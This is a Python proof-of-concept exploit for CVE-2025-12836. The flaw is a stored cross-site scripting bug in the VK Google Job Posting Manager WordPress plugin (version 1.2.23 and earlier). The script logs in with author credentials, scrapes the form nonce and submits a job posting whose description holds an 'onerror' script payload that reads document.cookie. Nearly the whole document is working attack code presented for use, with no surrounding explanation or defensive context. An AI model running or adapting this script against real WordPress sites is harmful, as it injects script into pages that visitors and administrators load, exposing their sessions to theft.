CVE-2025-12836

import requests import sys from bs4 import BeautifulSoup # CVE-2025-12836 PoC - Stored XSS in VK Google Job Posting Manager # Target: WordPress site with vulnerable VK Google Job Posting Manager plugin (<=1.2.23) TARGET_URL = "http://target-wordpress-site.com" USERNAME = "author_user" PASSWORD = "author_password" # Malicious XSS payload XSS_PAYLOAD = '<img src=x onerror=alert(document.cookie)>' def login(): """Authenticate to WordPress and obtain session cookies""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data) return session if 'wordpress_logged_in' in str(session.cookies) else None def inject_xss(session): """Inject XSS payload into Job Description field""" # Navigate to VK Google Job Posting Manager job creation page create_job_url = f"{TARGET_URL}/wp-admin/admin.php?page=vk-google-job-posting-manager" # Get the page to extract nonce and form data page = session.get(create_job_url) # Extract nonce for the form soup = BeautifulSoup(page.text, 'html.parser') nonce = soup.find('input', {'name': 'vk_google_job_posting_nonce'}) if not nonce: print("[-] Failed to find form nonce") return False nonce_value = nonce.get('value') # Prepare job data with XSS payload in description field job_data = { 'vk_google_job_posting_nonce': nonce_value, 'job_title': 'Test Job Position', 'job_description': XSS_PAYLOAD, # XSS injection point 'job_location': 'Remote', 'action': 'save_job', '_wp_http_referer': create_job_url } response = session.post(create_job_url, data=job_data) return 'success' in response.text.lower() or response.status_code == 200 def main(): print("[*] CVE-2025-12836 PoC - VK Google Job Posting Manager Stored XSS") print("[*] Target:", TARGET_URL) session = login() if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") if inject_xss(session): print("[+] XSS payload injected successfully") print("[*] Visit the job page to trigger the XSS") else: print("[-] Failed to inject XSS payload") if __name__ == '__main__': main()

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